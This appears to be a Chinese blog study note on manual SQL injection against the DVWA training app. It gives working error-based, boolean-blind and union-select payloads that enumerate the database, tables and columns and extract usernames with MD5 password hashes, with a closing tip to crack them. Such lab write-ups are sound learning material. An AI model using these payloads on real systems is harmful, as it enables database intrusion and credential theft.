概念相关

在PHP中动态构造SQL语句的语言是<最简单,最耿直>

query="SELECT∗FROMusersWHEREusername=".query=" SELECT * FROM users WHERE username = "._GET[“name”];

通过控制name参数,修改执行的SQL语句,可以达到攻击的目的。

SQL语法相关首先你要对php语法有了解,然后再去搞这个

SELECT 列名 FROM 表名
用 * 取代列名就是选取所有列
WHRER 子句 通过有条件的从表中选取数据,可以将 WHRER 子句添加到SELECT 中
SELECT * from 表名 WHRER 列 运算符 值

手工注入篇

步骤一,判断注入点

逻辑推理测试法

  • 首先我们需要了解数据通过什么方式输入,大概有以下三种

    • GET请求,在URL中发送参数
    • POST请求:数据包含在请求体中
    • 其他注入: HTTP请求的其他内容也会出发SQL注入漏洞
  • 别忘了用你的winshark或者bripsuite,通过抓包,你一定可以得到更加详细的注入信息。

我们用 DVWA为例,一步步提高难度,先调整到low难度,然后我们提交了一个1

GET /DVWA/vulnerabilities/sqli/?id=1&Submit=Submit HTTP/1.1

这个就是非常常见的GET方法了
此时,sql语句就变成了

select * from users where id = 1

确实是一句没有任何问题的语句。但是如果加了’呢?那就会报错了。
因为mysql_query()函数会返回一个布尔值,在下行代码中mysql_fetch_array($sql)将执行失败,并且PHP会显示一条警告信息,告诉我们mysql_fetch_array()的第一个参数必须是个资源,而代码在实际运行中,给出的参数值却是一个布尔值。

and or 方法

如果页面不返回任何错误信息,我们就要用这种方法。 在参数后面加上 and 1=1 和and 1=2 来找不同。因为第一个条件是为真的,第二个条件是假的。
然后我们看看会不会返回错误结果。

加减法

有些愚蠢的管理员会把获取ID写成数字型,那么我们的’大法就起不了效果了。
我们可以输入 1+1 (加号用%2b代替)来看看是不是返回id =2的结果。

综合与应用

判断注入是字符型或者数字型

往框框里输入

  1. 1
  2. 1’ and 1=1 #
  3. 1’ and 1=2 # 显示不存在;找到注入点,发现是字符型SQL盲注入
    TIPS:高级点,我们要把 #换成 %24,把空格换成/**/。当然还有很多替换法不一一说明,毕竟这是low级别

步骤二 oder by 和union select 爆破当前库名

补充: low的服务器核心代码(部分) <盲注>
我感觉CTF中不可能把错误代码打出来

// Get input $id = $_GET[ 'id' ]; // Check database $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

<先说最愚蠢的枚举二分法>
- 先枚举法

1’ and length(database())=1 #
然后一个个试过去,发现4 显示存在找到。

  • 后ASCII二分法
    1’ and ascii(substr(database(),1,1))>97 #
    一个个找,然后就能够猜出完整的库名 dvwa

TIPS:substr PHP的字符串查找函数 substr(string,start,length)
string -不用说了 start 当前字符串位置(这里的话就要1,2,3,4一个个枚举过去>了),length的话正数是 从start位置返回,负数的话是从字符串结尾返回。


再说说一些正常注入的方法,不过盲注用不了的。因为它不打印错误信息啊

找到注入点之后,我们用
1’ order by 《num》# 来查找在表中的列数
在low等级中
1’ order by 2# 可行,到了3就输出错误信息了。所以最大是2列
//这个信息肥肠重要

之后我们用select union 的方法,来查找关键信息。
灰常好用的函数:

  • version()
  • user()
  • database()
  • @@version_complie_os

    好了,现在输入
    1’ union select database(),2#
    就可以得到我们之前,千辛万苦找到的dvwa数据库了。

TIPS:注意,union select 的时候一定要把它的参数位置填满,可以用数字填满
也可以用函数填满,别傻乎乎的就写一个version()还报错了

步骤三 爆破当前表名

内容感谢这个作者,这是我看到的一篇盲注写的很不错的作者
首先猜测表的数量
输入
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=1 #
然后挨个试,发现《替换=1中的1为1,2,3,4,5,…》2 可行。
接下来猜表名
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
替换=1中的1为1,2,3,4,5,…发现9可行。
所以长度是9
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
又到了ASCII二分环节,然后找到了第一个表名 gusetbook
之后把limit 后面的那个1换成2 ,再来一遍,找到第二个表名 users
我的妈,CTF一道盲注题手工要做多久


应用information_schema的数据库,只支持MYSQL,能够帮我们快速爆破表名

首先我们复习一下语法

SELECT 列名 FROM 表名
用 * 取代列名就是选取所有列
WHRER 子句 通过有条件的从表中选取数据,可以将 WHRER 子句添加到SELECT 中
SELECT * from 表名 WHRER 列 运算符 值

输入
1’ union select database()# 刚刚做过了啦~
输入
1’ union select table_name,2 from information_schema.tables where table_schema=’dvwa’#
截获信息

ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: admin
Surname: adminID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: guestbook
Surname: 2ID: 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
First name: users
Surname: 2

我的妈,我盲注半小时,普通一分钟

步骤四 爆破当前字段

首先猜解表中字段的数量
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 #
一个个试,发现8存在
接着挨个猜解字段名
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #
一个个试发现有7个字符串长度。
后面作者就没写了,讲道理这个盲注真是看得晕头转向。
之后补上。


《这里拿user举例子》
1’ union select column_name,2 from information_schema.columns where table_name=’users’#

哇因缺思厅!

ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: admin
Surname: adminID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: user_id
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: first_name
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: last_name
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: user
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: password
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: avatar
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: last_login
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: failed_login
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: CURRENT_CONNECTIONS
Surname: 2ID: 1' union select column_name,2 from information_schema.columns where table_name='users'#
First name: TOTAL_CONNECTIONS
Surname: 2

获取密码

盲注。之后更新。。。

普通注入语句
输入:
1’ union select user,password from users#

ID: 1' union select user,password from users#
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99ID: 1' union select user,password from users#
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03ID: 1' union select user,password from users#
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216bID: 1' union select user,password from users#
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7ID: 1' union select user,password from users#
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

好了到手了。接着就MD5解密,或者交给你做A类的同学吧。

普通注入,总结与相关

  1. 步骤1 寻找注入点 关键词 字符注入点,宽字节注入点,数字注入点
  2. 步骤2 爆破当前数据库名
    • 关键词 order by ,select union database()
  3. 步骤3 爆破当前表名
    • 关键词 union select table_name,2,3,4,5 from information_schema tables where table_scheme=’ 库名’#
  4. 步骤4 爆破当前字段名
    • 关键词 union select column_name,2,3,4,5 from information_schema.columns where table_name=’表名’#
  5. 步骤5 数据解析
    • 关键词 解密算法

关于其他的注入方法,会在之后的难度中补充。
盲注之后还会再写,自己还没有搞清楚。


2018年1月10日00:10:31

烧包包儿

SQL 手动注入学习实战 —— dvwa 从low到impossible《low篇》相关推荐

  1. SQL注入(一)—— sql手动注入实操

    SQL SQL注入 sql 注入的核心 SQL 手注的一般流程 判断注入点 -- 第一步 判断字段数 -- 第二步 判断回显点 -- 第三步 查询相关内容 -- 第四步 判断库名 判断表名 判断列名 ...

  2. 【墨者学院】SQL手动注入 靶场初体验

    博主首次浅尝一下SQL注入,一顿操作,然后,啊哈 破解成功! 墨者学院靶场地址 step1: 判断注入 判断是否存在注入,这个靶场肯定存在注入,在参数id后面拼接一些其他变量即可. step2: 猜解 ...

  3. SQL手工注入原理(含环境搭建) ─=≡Σ(((つ•̀ω•́)つ 知己知彼百战百胜 web安全

    文章目录 SQL测试环境环境搭建 下载与安装环境 开启与使用环境 sqli-labs环境部署 dvwa环境部署 SQL手动注入 SQL注入原理 SQL注入分类 SQL注入手段 寻找注点 利用注点 ge ...

  4. SQL注入攻击及防御 手动注入+sqlmap自动化注入实战(网络安全学习12)

    CONTENTS 1 项目实验环境 2 SQL注入概述 2.1 SQL注入简介 2.2 SQL注入的危害 3 SQL基础回顾 3.1 联合查询union 3.2 information_schema数 ...

  5. 探针一号的SQL注入学习笔记

    SQL注入学习笔记 文章目录 SQL注入学习笔记 1.问题 2.sqlilabs环境配置 3.第一个注入过程详解(整型注入) 4.跨库注入 5.字符型注入 5.报错注入 6.POST和COOKIE请求 ...

  6. mysql prepare 注入_实战1:如何用 PREPARE 防止 SQL 注入

    实战1:如何用 PREPARE 防止 SQL 注入 1. 前言 在前面的小节中,我们一起学习了 SQL Prepare,本小节以实战的角度来继续深挖 Prepare,如果你还不了解 Prepare,请 ...

  7. sql注入学习——时间盲注

    前言:之前通过前九关学习到了回显注入.报错注入.布尔盲注等一些方法,这次就来详细的学习时间盲注. 在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回 ...

  8. SQL注入学习part07:(SQL注入语句总结)

    写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) SQL注入学习part07 整数型和字符型 整数型 字符型 ...

  9. SQL注入学习part06:(结合sqli-libs学习:51-61关)

    写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) SQL注入学习part06 第五十一关 第五十二关 第五十三 ...

最新文章

  1. 第一篇随笔——新的开端
  2. “双创指数”引行业拼抢,基民的“机会”又双叒叕来了?
  3. Boost:bind的noexcept成员函数的type <>语法的测试程序
  4. node.js学习笔记(4) http服务
  5. mysql卸载完环境变量还有_MySql完全卸载
  6. mysql 为数据表添加字段_MySQL数据表添加字段实例
  7. flowable实战(九)flowable数据库表中流程实例、活动实例、任务实例三者之间关系分析
  8. ajax通过什么实现,ajax(通过jQuery实现)
  9. 构架https服务器
  10. rk3399_android7.1调试mipi转lvds转换IC总结
  11. python局域网alive ip侦听
  12. Video Caption Tutorial
  13. unity的Rotation值如何修改
  14. 注射php,手工注射php学习
  15. 剑与家园服务器维护,《剑与家园》杀鸡取卵式运营 如何拯救短命的区服?
  16. 协鑫集成的这款组件,真的很适合农光互补!
  17. 降噪提升动漫图片,人物照片等图片画质(分享)
  18. Windows 2003 下手动关闭危险端口
  19. mybatis查询更新
  20. Vue el-table-column根据行数据添加button和修改对应数据and控制显示条件

热门文章

  1. ftp服务器必须运行ftp服务器软件对吗,ftp是什么?FTP服务器搭建及选择
  2. p5.js 写个连连看
  3. 解决mac端VLC媒体库拖入具有多个文件的N多视频后就会卡死,或者cpu占用颇高的问题
  4. selenium用jquery改变元素属性
  5. 俄罗斯电商平台ozon的崛起,卖家可以使用测评补单方式打造爆款吗?
  6. android 调用相机并获取图片地址,Android 7.0使用FileProvider获取相机拍照的图片路径...
  7. 使用 ArcGIS Pro 对一幅没有空间参考的老照片进行配准
  8. 为什么越来越多的企业选择云计算?—分析云计算的优势和未来发展趋势
  9. JAVA 图片地址路径转换 Base64 工具类
  10. IDEA常用操作总结(长期更新)